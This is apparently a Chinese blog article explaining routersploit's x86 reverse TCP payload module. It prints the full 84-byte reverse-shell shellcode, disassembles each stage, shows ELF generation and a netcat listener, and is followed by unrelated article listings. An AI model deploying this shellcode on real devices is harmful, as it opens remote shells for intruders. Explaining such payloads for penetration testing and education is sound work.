网络安全嵌入式【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址https://gitcode.com/gh_mirrors/ro/routersploit点击查看免费下载导读payloads/x86/reverse_tcp是 routersploit 框架内置的 Payload 生成模块用于为X8632 位 Intel/AMD架构的嵌入式设备生成一条交互式反向 TCP Shell 的原始 Shellcode。本文以该模块的官方文档为主线完整演示其在rsf.py交互式终端中的使用流程并深入 reverse_tcp.py 源码逐条拆解 Shellcode 的汇编原理、参数校验规则与三种输出格式Python / C / ELF帮助你不仅会用更能理解生成背后的底层机制。模块概述它能做什么根据官方文档 docs/modules/payloads/x86/reverse_tcp.md 的定义Module generates payload that creates interactive tcp reverse shell for X86 architecture.该模块生成一段可在 X86 架构上执行的 Shellcode目标设备主动向攻击者监听的地址lhost和端口lport发起 TCP 连接连接建立后将标准输入/输出/错误全部重定向到该 TCP 连接上最终执行/bin/sh形成一条交互式反向 Shell。在 routersploit 的模块分类树中它位于routersploit/modules/payloads/x86/下与bind_tcp绑定型正向 Shell并列同属于架构相关 Payload 目录armle / mipsbe / mipsle / x86 / x64 / perl / php / python 等见 payloads.py 中Architectures的定义。它通常被用作 Exploit 模块成功利用设备后配合check/run阶段投递的后续载荷也可独立运行获取可嵌入的 Shellcode 字节序列。快速上手验证步骤与交互示例官方文档给出的验证步骤Verification Steps如下启动框架./rsf.py加载模块use payloads/x86/reverse_tcp设置回连地址set lhost 192.168.1.4设置回连端口set lport 4321运行run模块即生成 X86 反向 TCP Shell Payload对应的完整交互会话Scenarios如下rsf use payloads/x86/reverse_tcp rsf (X86 Reverse TCP) set lhost 192.168.1.4 [] lhost 192.168.1.4 rsf (X86 Reverse TCP) set lport 4321 [] lport 4321 rsf (X86 Reverse TCP) run [*] Running module... [*] Generating payload [] Building payload for python payload ( \x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80 \x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x04\x68 \x02\x00\x10\xe1\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1 \xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3 \x52\x53\x89\xe1\xb0\x0b\xcd\x80 )默认输出的这段 Python 格式载荷共 84 字节示例中lhost192.168.1.4、lport4321可以直接复制到 Python 2 中作为payload变量使用也可以作为 C/ELF 等其他格式的载体。会话中提示符变为rsf (X86 Reverse TCP)表示当前已激活该模块set命令用于修改模块选项。模块选项与参数校验该模块的可用选项由两个 Mixin 组合而来源码位于 payloads.pyReverseTCPPayloadMixinpayloads.py#L92-L95定义了两个核心选项lhostOptIP类型回连 IP 地址Connect-back IP address默认空字符串必须显式设置lportOptPort类型回连 TCP 端口Connect-back TCP Port默认5555ArchitectureSpecificPayloadpayloads.py#L151-L165定义了输出控制选项outputOptString类型输出格式可选elf/c/python默认pythonfilepathOptString类型当outputelf时 ELF 文件的写出路径默认/tmp/8位随机字符串由random_text(8)生成见 utils.py#L20-L28。set命令会触发对应选项类型的校验器option.pyOptIP.__set__option.py#L34-L41仅接受合法的 IPv4 或 IPv6 地址否则抛出OptionValidationError: Invalid address...。校验底层依赖 utils.py 中的is_ipv4/is_ipv6正则。OptPort.__set__option.py#L44-L57必须可转换为整数且满足0 value 65535否则报错。因此文档示例中的set lhost 192.168.1.4与set lport 4321都是经过严格校验后才生效的。源码剖析Shellcode 是如何生成的模块核心实现位于 reverse_tcp.py 的generate()方法。它首先将用户配置的 IP 与端口编码为二进制字节reverse_ip utils.convert_ip(self.lhost) # 192.168.1.4 - b\xc0\xa8\x01\x04 reverse_port utils.convert_port(self.lport) # 4321 - b\x10\xe1其中convert_ip将点分十进制 IP 逐段转为字节utils.py#L60-L70convert_port将端口格式化为 4 位十六进制并转为 2 字节大端序utils.py#L73-L81。可以看到示例输出中的\x68\xc0\xa8\x01\x04push 192.168.1.4与\x02\x00\x10\xe1端口 2 字节10 e1 4321正是这两个函数作用的结果——Shellcode 中硬编码的目标地址与端口完全取决于lhost/lport的取值。随后方法返回一段手工编写的 X86 汇编 Shellcode每一字节都附有对应汇编注释整体流程分为四个阶段阶段一创建 TCP Socketsys_socketcall, SYS_SOCKET1b\x31\xdb # xor ebx,ebx b\xf7\xe3 # mul ebx b\x53 # push ebx b\x43 # inc ebx b\x53 # push ebx b\x6a\x02 # push byte 0x2 b\x89\xe1 # mov ecx,esp b\xb0\x66 # mov al,0x66 (sys_socketcall) b\xcd\x80 # int 0x80 b\x93 # xchg eax,ebx通过int 0x80调用sys_socketcall(0x66)参数ebx1SYS_SOCKETecx指向[2, 1, 0]AF_INET2, SOCK_STREAM1, 0创建 TCP Socket返回值文件描述符暂存于ebx。阶段二重定向标准输入/输出/错误sys_dup2b\x59 # pop ecx b\xb0\x3f # mov al,0x3f (sys_dup2) b\xcd\x80 # int 0x80 b\x49 # dec ecx b\x79\xf9 # jns 0x11循环调用sys_dup2(0x3f)把 Socket 文件描述符复制到 2、1、0stderr、stdout、stdin循环条件dec ecx; jns从 2 递减到 0。这样后续/bin/sh的输入输出就全部绑定到 TCP 连接上这是交互式的关键。阶段三发起 TCP 连接sys_socketcall, SYS_CONNECT3b\x68 reverse_ip # push ip addr b\x68\x02\x00 reverse_port # push port b\x89\xe1 # mov ecx,esp b\xb0\x66 # mov al,0x66 (sys_socketcall) b\x50 # push eax b\x51 # push ecx b\x53 # push ebx b\xb3\x03 # mov bl,0x3 b\x89\xe1 # mov ecx,esp b\xcd\x80 # int 0x80在栈上构造sockaddr_in端口 回连 IP再次调用sys_socketcall此时ebx3SYS_CONNECT向lhost:lport发起反向 TCP 连接。阶段四执行 /bin/shsys_execveb\x52 # push edx b\x68\x6e\x2f\x73\x68 # push n/sh b\x68\x2f\x2f\x62\x69 # push //bi b\x89\xe3 # mov ebx,esp b\x52 # push edx b\x53 # push ebx b\x89\xe1 # mov ecx,esp b\xb0\x0b # mov al,0xb (execve) b\xcd\x80 # int 0x80利用push技巧在栈上构造//bin/sh字符串//与/等价同时保证 4 字节对齐且不含\x00然后调用sys_execve(0xb)执行/bin/sh。由于前面已经完成 dup2 重定向Shell 的输入输出即为攻击者的 TCP 连接——反向 Shell 建立完成。需要特别说明这是一段经典的 32 位 X86 Linux Shellcode不含任何\x00空字节便于直接嵌入字符串缓冲区模块源码的注释中注明其灵感来源于 Metasploit 的 x86 reverse_tcp 模块authors 字段中列出了原模块作者 Ramon de C Valle、joev 以及 routersploit 移植作者 Marcin Bury。输出格式python / c / elf 三种形态ArchitectureSpecificPayload.run()payloads.py#L167-L194根据output选项分发到三种生成器Python 格式默认generate_pythonpayloads.py#L230-L238把每个字节格式化为\xNN每 15 个字节换行拼接成payload (...)的 Python 字面量。文档示例输出的正是这一格式。C 格式设置set output c后generate_cpayloads.py#L220-L228会输出unsigned char sh[] { ... };形式的 C 数组方便直接嵌入 C 语言 Exploit 或注入程序中。ELF 格式设置set output elf后generate_elfpayloads.py#L196-L218会把 Shellcode 追加到预置的 X86 ELF 头之后并回填p_filesz/p_memsz两个程序头字段生成一个可独立执行的 ELF 文件并写入filepath默认/tmp/随机名。X86 的 ELF 头模板定义在 payloads.py#L71-L78 的ARCH_ELF_HEADERS中ELFCLASS32、e_machine3即 EM_386。rsf (X86 Reverse TCP) set output elf [] output elf rsf (X86 Reverse TCP) set filepath /tmp/x86_rev [] filepath /tmp/x86_rev rsf (X86 Reverse TCP) run [*] Running module... [*] Generating payload [*] Building ELF payload [] Saving file /tmp/x86_rev生成后可先在攻击机上启动监听如nc -lvnp 4321再把 ELF 投递到目标 X86 设备执行即可获得反弹 Shell。测试用例验证仓库为 payload 生成逻辑提供了单元测试 tests/payloads/x86/test_reverse_tcp.py。测试固定设置lhost192.168.1.4、lport4321断言Payload().generate()的输出与预置的 84 字节reverse_tcp常量完全一致同时该文件中还预置了同参数的 ELF 形态elf_x86_reverse_tcpELF 头 Shellcode对应generate_elf的拼接逻辑。运行pytest tests/payloads/x86/test_reverse_tcp.py即可复现验证——这也是文档示例输出可被逐字节复现的自动化保证。小结使用路径./rsf.py→use payloads/x86/reverse_tcp→set lhost IP→set lport PORT→run。核心选项lhostOptIP必填、lportOptPort默认 5555、outputpython/c/elf默认 python、filepathELF 写出路径。生成原理generate() 通过convert_ip/convert_port将参数编码进手工汇编 Shellcode依次完成 socket → dup2 → connect → execve(/bin/sh) 四个阶段产出 84 字节无空字节的 X86 Linux Shellcode。验证方式test_reverse_tcp.py 提供固定参数的字节级回归测试可直接运行确认生成结果。该模块与payloads/x86/bind_tcp正向绑定 Shell见 bind_tcp.py共同构成 X86 架构的两类 TCP Shell 载荷反向型更适用于目标位于 NAT 之后、无法直接入站的场景是路由器、摄像头等嵌入式设备渗透测试链路中的常用后续载荷。赞分享网络安全嵌入式【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址https://gitcode.com/gh_mirrors/ro/routersploit点击查看免费下载相关推荐Data Engineering Zoomcamp 2026 实战用 dlt AI 从 API 构建到数据仓库的自动化数据摄入管道Data Engineering Zoomcamp 2026 实战用 dlt AI 从 API 构建到数据仓库的自动化数据摄入管道 本文是 Data En网络安全嵌入式Linux 内核 device-mapper uevent 机制完全指南从多路径设备事件到用户态 udev 通知Linux 内核 device mapper uevent 机制完全指南从多路径设备事件到用户态 udev 通知 关联文档 dm uevent.rst h网络安全嵌入式PCSX2 中的 Zydis高性能 x86/x86-64 反汇编与代码生成库的集成实战指南PCSX2 中的 Zydis高性能 x86/x86 64 反汇编与代码生成库的集成实战指南 导读 本文围绕 PCSX2PlayStation 2 模拟器仓虚拟化桌面应用图形学上一篇开源项目 mootdx 使用教程下一篇Awesome Prompts从提示模板到工程化智能体的完整进化路线图创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
企业数字化 ERP 产品动态
相关推荐
软件工程师职业发展路径与核心能力构建指南 1. 行业现状与职业定位软件工程作为数字化时代的核心驱动力,已经渗透到金融、医疗、教育等各个领域。根据2023年全球开发者生态报告,全球专业开发者数量突破2800万,其中超过60%从事与软件工程直接相关的工作。这个职业的本质,是通… · 2026/9/23 10:59:59
共享单车报修系统开发:UniApp与Flask的物联网实践 1. 项目概述与核心价值这个共享单车报修系统项目采用前后端分离架构,前端使用UniApp框架开发跨平台小程序,后端基于Python Flask构建RESTful API,同时提供Android原生版本作为补充方案。我在实际开发中发现,这种技术组合特别适合中… · 2026/9/23 10:59:59
降薪跳槽避坑指南:3大面试真题拆解与薪资谈判代码实战 降薪跳槽避坑指南:3大面试真题拆解与薪资谈判代码实战 官方文档往往冗长枯燥,让人抓不住面试核心。面对“降薪跳槽”这一敏感话题,多数开发者因缺乏实战避坑指南而陷入被动。本文将直击痛点,用代码思维拆解高频面试题,助你精准拿捏薪资底线。… · 2026/9/23 10:59:58
cae是什么?水利工程从业者避坑指南 cae是什么?水利工程从业者避坑指南 刚入行的水利工程师,是不是也有这种困惑:书上的流体力学公式背得滚瓜烂熟,Python… · 2026/9/23 12:15:00
通信型CRM落地实战:从架构设计到踩坑记录 客户资料存在CRM里,每天跟客户的真实沟通——电话、微信、邮件、现场拜访——却全散落在不同工具里,这是太多销售团队的真实写照。DeskcommCRM这个名字乍看像个普通的客户关系管理系统,但它的核心设计思路恰恰切中这个痛点:把桌面… · 2026/9/23 12:15:00
防护棚搭设与拆除应符合哪些规定入门到精通 防护棚搭设与拆除避坑指南:面试突击与实战解析 面对“防护棚搭设与拆除应符合哪些规定”这类问题,很多一线工程师在准备一级建造师或安全主管面试时,脑子里一片空白。就像盯着满屏的红色 StackTrace… · 2026/9/23 12:15:00
Laradock 横向对比指南:2026 年 PHP 本地开发环境的四大路线与逐项选型 Laradock 横向对比指南:2026 年 PHP 本地开发环境的四大路线与逐项选型 【免费下载链接】laradock Full PHP development environment for Docker. Run Laravel, Symfony, CodeIgniter, Phalcon, WordPress, Drupal, Magento, Moodle, or any PHP project with 70 p… · 2026/9/23 12:14:53
周立功高频面试题背后的5个致命坑:告别StackTrace报错 周立功高频面试题背后的5个致命坑:告别StackTrace报错 刚接手周立功(ZLG)CAN卡驱动开发的朋友,是不是也被满屏红色的 Stack Trace 吓到过? java.lang.NullPointerException 或者… · 2026/9/23 12:14:53
有载调压分接开关部件组成与故障排查实用指南 1. 整体结构拆解:先搞懂有载调压分接开关在变压器里到底扮演什么角色有载调压分接开关,业内通常简称OLTC(On-Load Tap Changer),我一直觉得它是变压器里最“精分”的一个设备——既要承受主回路的大电流,又… · 2026/9/23 12:14:45
3招搞定手机怎么下载微信面试难题实战项目解析 3招搞定手机怎么下载微信面试难题实战项目解析 面试被问“手机怎么下载微信”背后的原理,90%的人答不上来。别笑,这看似弱智的问题,实则是考察你对移动应用分发机制、安全校验及网络协议理解的试金石。我带过不少校招新人,他们背了八股文,却连一个A… · 2026/9/23 0:00:03
你有新短消息请注意查收:3个新手避坑指南搞定消息系统选型 你有新短消息请注意查收:3个新手避坑指南搞定消息系统选型 面试被问“高并发下如何保证消息不丢失”,你张口就是“用Redis”,结果面试官追问“如果Redis宕机了怎么办”,你瞬间卡壳。这种场景太常见了,很多新手在背八股文时,只记住了技术名词… · 2026/9/23 0:00:29